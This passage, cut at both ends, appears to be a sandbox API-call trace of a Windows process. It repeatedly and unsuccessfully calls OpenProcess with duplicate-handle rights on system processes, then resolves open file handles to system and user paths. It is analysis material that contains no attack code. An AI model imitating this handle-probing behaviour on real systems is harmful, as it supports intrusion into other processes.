returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.224] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.225] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.226] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.227] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.228] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.229] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.230] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.231] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.232] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.233] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.234] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.235] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.236] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.237] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.238] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.239] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.240] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.241] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.242] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.243] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0169.244] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.245] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.246] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0169.246] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0169.246] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0169.246] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0169.247] GetFileType (hFile=0x118) returned 0x1 [0169.247] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0169.248] CloseHandle (hObject=0x118) returned 1 [0169.248] GetFileType (hFile=0x114) returned 0x1 [0169.248] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0169.249] CloseHandle (hObject=0x114) returned 1 [0169.249] GetFileType (hFile=0x118) returned 0x0 [0169.249] CloseHandle (hObject=0x118) returned 1 [0169.249] GetFileType (hFile=0x114) returned 0x1 [0169.249] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.250] CloseHandle (hObject=0x114) returned 1 [0169.250] GetFileType (hFile=0x118) returned 0x1 [0169.250] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.251] CloseHandle (hObject=0x118) returned 1 [0169.251] GetFileType (hFile=0x114) returned 0x1 [0169.251] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0169.252] CloseHandle (hObject=0x114) returned 1 [0169.252] GetFileType (hFile=0x118) returned 0x1 [0169.252] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0169.252] CloseHandle (hObject=0x118) returned 1 [0169.260] GetFileType (hFile=0x114) returned 0x1 [0169.260] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.260] CloseHandle (hObject=0x114) returned 1 [0169.260] GetFileType (hFile=0x118) returned 0x1 [0169.261] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.261] CloseHandle (hObject=0x118) returned 1 [0169.261] GetFileType (hFile=0x114) returned 0x1 [0169.261] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.262] CloseHandle (hObject=0x114) returned 1 [0169.262] GetFileType (hFile=0x118) returned 0x1 [0169.262] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0169.264] CloseHandle (hObject=0x118) returned 1 [0169.264] GetFileType (hFile=0x114) returned 0x1 [0169.264] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.265] CloseHandle (hObject=0x114) returned 1 [0169.265] GetFileType (hFile=0x118) returned 0x1 [0169.265] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0169.266] CloseHandle (hObject=0x118) returned 1 [0169.266] GetFileType (hFile=0x114) returned 0x1 [0169.266] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0169.267] CloseHandle (hObject=0x114) returned 1 [0169.267] GetFileType (hFile=0x118) returned 0x1 [0169.267] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0169.267] CloseHandle (hObject=0x118) returned 1 [0169.268] GetFileType (hFile=0x114) returned 0x1 [0169.268] GetFinalPathNameByHandleW (in: hFile=0x114, 